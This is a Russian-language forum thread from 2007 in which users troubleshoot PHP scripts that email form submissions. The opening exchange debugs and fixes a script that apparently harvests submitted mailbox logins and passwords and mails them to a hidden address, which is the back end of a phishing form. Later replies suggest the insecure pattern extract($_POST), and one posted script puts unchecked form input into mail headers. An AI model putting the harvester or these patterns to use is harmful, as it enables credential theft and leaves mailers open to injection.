Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Perl, PHP: отправка формы на e-mail

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

Открыть новую тему     Написать ответ в эту тему

sem88

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Пожалуйста подсткажите в чем проблема:
<?php  
$email="+++++@mail.ru";  
$subject="пар";  
$Message = $login = $_POST['login'];  
$Message = $pass  = $_POST['pass'];
$message="Новое собщение логин для ящика $login, пароль: $pass";
$from="Pass";  
mail($email, $subject, $message, "From: $from");  
?>  
 
Письмо приходит, с текстом "Новое собщение логин для ящика..", а поля $login и Pass не заполнены, в чем ошибка?  

Всего записей: 89 | Зарегистр. 13-04-2007 | Отправлено: 11:54 04-07-2007
CheRt



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
$message и $Message разные переменные.
Да и вообще код кривой(хоть я ПХП и не знаю) =)

----------
В огне бода нет и не будет!
До встречи в СССР 2.0!

Всего записей: 1118 | Зарегистр. 14-12-2001 | Отправлено: 12:01 04-07-2007
sem88

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А чем нибудь помочь можешь?

Всего записей: 89 | Зарегистр. 13-04-2007 | Отправлено: 12:12 04-07-2007
CheRt



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Попробуйте так:

Код:
 
<?php  
$email='+++++@mail.ru';  
$subject="пар";  
$login=$_POST['login'];  
$pass=$_POST['pass'];  
$message="Новое собщение логин для ящика $login, пароль: $pass";  
$from="Pass";  
mail($email, $subject, $message, "From: $from");  
?>  
 

И проверьте - передаются ли вообще параметры login, pass

----------
В огне бода нет и не будет!
До встречи в СССР 2.0!

Всего записей: 1118 | Зарегистр. 14-12-2001 | Отправлено: 12:18 04-07-2007
sem88

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
CheRt
Выдает ошибку:
Parse error: syntax error, unexpected ':' in /home/spamma/public_html/23.php on line 15

Всего записей: 89 | Зарегистр. 13-04-2007 | Отправлено: 12:42 04-07-2007
CheRt



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
sem88, что уже в оформленном скрипте является строкой 15?
Если вы не копировали, а набирали вручную - проверьте частую ошибку при наборе - : вместо ; в конце строки.

----------
В огне бода нет и не будет!
До встречи в СССР 2.0!

Всего записей: 1118 | Зарегистр. 14-12-2001 | Отправлено: 13:22 04-07-2007
sem88

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Все заработало, разобрался! Спасибо всем!

Всего записей: 89 | Зарегистр. 13-04-2007 | Отправлено: 15:49 04-07-2007
Tiglatpalasar

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
смотреть определяются ли передаваемые переменные в скрипте

Существует документация попроще как это сделать?

Всего записей: 8 | Зарегистр. 28-01-2007 | Отправлено: 17:33 04-07-2007
Nekt

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Php :
Как заставить скрипт считывать из переменной, много адресов и отсылать по ним?
И как заставить отсылать 2 раз на один ящик письмо?
Все данные заключены в переменные которые вводятся по средствам html, скрипт на пхп.  
Perl :
Что лучше использовать: Через сокет, или обычном способом отправлять письмо?

Всего записей: 640 | Зарегистр. 24-01-2006 | Отправлено: 17:35 04-07-2007 | Исправлено: Nekt, 18:01 04-07-2007
Tiglatpalasar

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Решилась проблема, теперь все письма доходят.
Я убрал в скрипте строчку $webmaster="tut@sobaka.ru";.
Из $toemail="кому слать"; сделал $email="кому слать";
а из mail($toemail, $subject_line, $message, $headers);
сделал mail($email, $subject_line, $message, $headers);.
И все почему-то заработало...
Спасибо за скрипт!

Всего записей: 8 | Зарегистр. 28-01-2007 | Отправлено: 20:48 04-07-2007
sstass28



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите пожста. Мне надо чтобы клиенты заполняли форму, и потом отправляли свои файлы мне на мыло.
 
Взял уже готовый скрипт PHP, но здесь стоит только форма для отправки файлов. Скопировал ее и поместил как вторуюю форму, но отсылается всеравно файл только из верхней формы. http://www.nosorog.de/Forma/Dovnl6.php Как надо правильно сделать, чтобы можно было отправлять из нескольких форм?
 
Вот эта часть скрипта по отправке файла
        // если был файл, то прикрепляем его к письму
        if(isset($_FILES['attachfile'])) {
                 if($_FILES['attachfile']['error'] == 0){
                    $mail->AddAttachment($_FILES['attachfile']['tmp_name'], $_FILES['attachfile']['name']);
                 }

Всего записей: 1 | Зарегистр. 22-06-2007 | Отправлено: 22:37 22-07-2007 | Исправлено: sstass28, 22:39 22-07-2007
vova2500

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Добрый день.
Есть скрипт Manlix Feedback
 
#    .................................................................................
#
#        Скрипт:    Manlix Feedback, версия: 1.1
#        Автор:    Manlix (http://manlix.ru)
#    .................................................................................
 
$manlix=null;
 
$manlix=parse_ini_file("./inc/config.inc.dat",1);
 
include($manlix['file']['functions']);
 
    while(list($section,$array)=each($manlix))
        while(list($key,$value)=each($array))
        $manlix['other'][chr(73).chr(110).chr(105).ucfirst(strtolower($section)).ucfirst(strtolower($key))]=$value;
 
if(!empty($_POST))
{
    while(list($key,$value)=each($_POST))
        $manlix['other'][$key]=manlix_stripslashes($value);
 
    if(empty($_POST['FromName']))
    $manlix['other']['status']=$manlix['other']['error']=$manlix['error']['EmptyName'];
 
    elseif(empty($_POST['FromMail']))
    $manlix['other']['status']=$manlix['other']['error']=$manlix['error']['EmptyMail'];
 
    elseif(!eregi("^[a-z0-9]+(([a-z0-9_.-]+)?)@[a-z0-9+](([a-z0-9_.-]+)?)+\.+[a-z]{2,4}$",$manlix['other']['FromMail']))
    $manlix['other']['status']=$manlix['other']['error']=$manlix['error']['InvalidMail'];
 
    elseif(empty($_POST['FromMessage']))
    $manlix['other']['status']=$manlix['other']['error']=$manlix['error']['EmptyMessage'];
 
    else
    {
    $manlix['okay']=1;
    $headers=null;
    $headers.="Return-Path: <".$manlix['other']['FromMail'].">".chr(13).chr(10);
    $headers.="From: ".$manlix['other']['FromName']." <".$manlix['other']['FromMail'].">".chr(13).chr(10);
    $headers.="X-Mailer: Manlix Feedback, версия: 1.0".chr(13).chr(10);
    $headers.="Reply-To: ".$manlix['other']['FromName']." <".$manlix['other']['FromMail'].">".chr(13).chr(10);
    $headers.="To: ".$manlix['my']['name']." <".$manlix['my']['mail'].">";
    $headers.="MIME-Version: 1.0".chr(13).chr(10);
    $headers.="Content-Type: ".$manlix['my']['ContentType']."; charset=".$manlix['my']['charset'].chr(13).chr(10);
    $headers.="Content-Transfer-Encoding: 8bit".chr(13).chr(10);
    mail($manlix['my']['mail'],$manlix['my']['subject'],$manlix['other']['FromMessage'],$headers);
    }
 
    if(isset($manlix['error']))
    {
    reset($_POST);
        while(list($key,$value)=each($_POST))
            $manlix['other'][$key]=htmlspecialchars(manlix_stripslashes($value));
    }
}
 
ParseTemplate($manlix['templates']['top']);
 
    if(!isset($manlix['okay']))
    ParseTemplate($manlix['templates']['form']);
 
    else
    ParseTemplate($manlix['templates']['okay']);
 
ParseTemplate($manlix['templates']['bottom']);
?>
 
При отправке приходит письмо и в поле "От:" стоит адрес не тот который вводился в форме, а системный адрес почты. В моем случае postmaster@*****.nichost.ru.
Подскажите, пожалуйста, что надо изменить чтобы в шапке был адрес из формы.
Спасибо.

Всего записей: 50 | Зарегистр. 25-04-2005 | Отправлено: 17:35 13-08-2007
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Подскажите, пожалуйста, что надо изменить чтобы в шапке был адрес из формы.

читай
Помогите новичку)

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 17:58 13-08-2007
vova2500

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
читай  
Помогите новичку)

 
А конкретно место в моем скрипте можете указать и что на что надо изменить. Я в программировании полный ноль. Извиняюсь за дилитантство!

Всего записей: 50 | Зарегистр. 25-04-2005 | Отправлено: 19:44 13-08-2007
Pantalone



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите чего не так делаем.
Предыстория такова: мой приятель решил сменить хостера. Выбор пал на bluehost.com, который сидит в топах рейтингов. Сменил и получилась такая фигня что FormMail.php у этого хостера обрабатывается как-то кривым образом. У меня кстати этот же скрипт и я пока хостера не меняю и скрипт работает отлично, приятеь сменил три хостера и там тоже все работало, а щас письма посылаются, но не пашет вот это:
- REMOTE_HOST, REMOTE_ADDR, HTTP_USER_AGENT не возвращает в теле письма
- в поле From присылаемого письма мыло юзера не вставляет а вставляет какую-то швабру от хостера
- правильность написания мыла не проверяет, т.е. можно написать www@ewwee и оно пройдет как нормальное
 
Скриптик вроде достаточно известный, но гляньте плиз может чего не так? Почему же эта зараза не работает.
 
Ссылка на файлы

Всего записей: 728 | Зарегистр. 16-02-2004 | Отправлено: 16:08 24-08-2007
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Pantalone

Цитата:
Ссылка на файлы

требует регистрации..

Цитата:
REMOTE_HOST, REMOTE_ADDR, HTTP_USER_AGENT не возвращает в теле письма

очевидно, что рассчитано на register_globals=on

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 20:41 24-08-2007
Pantalone



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Cheery
Я посмотрел и поигрался с разными вариантами, оказывается что вот так $HTTP_USER_AGENT ничего не возвращает независимо от register_globals, а вот так $_POST['HTTP_USER_AGENT'] работает. Что это значит? Я чайник и пока не допру. У меня в скрипте все переменные идут в виде $HTTP_USER_AGENT, неужели их все придется выискивать и переделывать в $_POST['HTTP_USER_AGENT']? Нельзя ли в одном месте как-то переинициилизировать? Ну что-то типа
$HTTP_USER_AGENT=$_POST['HTTP_USER_AGENT'] или как-то так?
 
Еще мне приятель тут натрындел что ему кто-то натрындел что писать как $HTTP_USER_AGENT это какой-то древний стиль и так щас никто не пишет и если это и другие переменные не заменить на переменные вида $_POST['HTTP_USER_AGENT'] до это как открытая дверь хакерам и спамерам, это так?

Всего записей: 728 | Зарегистр. 16-02-2004 | Отправлено: 13:59 25-08-2007 | Исправлено: Pantalone, 14:07 25-08-2007
Zeruel

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Pantalone
 
$HTTP_USER_AGENT попробуй заменить на $_SERVER['HTTP_USER_AGENT'].
 

Цитата:
 правильность написания мыла не проверяет, т.е. можно написать www@ewwee и оно пройдет как нормальное

но ошибку выдаст. в функции print_error(), exit раскомментируй.
 
З.Ы. имхо, скрипт в треш и написать новый.

Всего записей: 153 | Зарегистр. 18-09-2006 | Отправлено: 17:24 25-08-2007
Pantalone



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Все решилось вставкой в начале скрипта строчек:
extract($_POST);
extract($_SERVER);

Всего записей: 728 | Зарегистр. 16-02-2004 | Отправлено: 18:12 25-08-2007
kydecnik

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Плиз. помогите разобраться. Есть такой скрипт:
 
Подробнее...
 
Так вот я этот скрипт вставляю в html страницу таким образом:
создаю файл .htaccess
с таким содержимым
 
RemoveHandler .html .htm
AddType application/x-httpd-php .php .htm .html .phtml
 
В файле с *.html расширением вставляю php код
<?php include("sendmail.php"); ?>
 
И когда я запускаю страничку html с нета не отображается код безопасности. Запускаю скрипт напрямую- все ок. Подскажите в чем может быть причина.

Всего записей: 12 | Зарегистр. 10-03-2007 | Отправлено: 03:20 17-09-2007 | Исправлено: Cheery, 03:22 17-09-2007
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

Компьютерный форум Ru.Board » Интернет » Web-программирование » Perl, PHP: отправка формы на e-mail


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru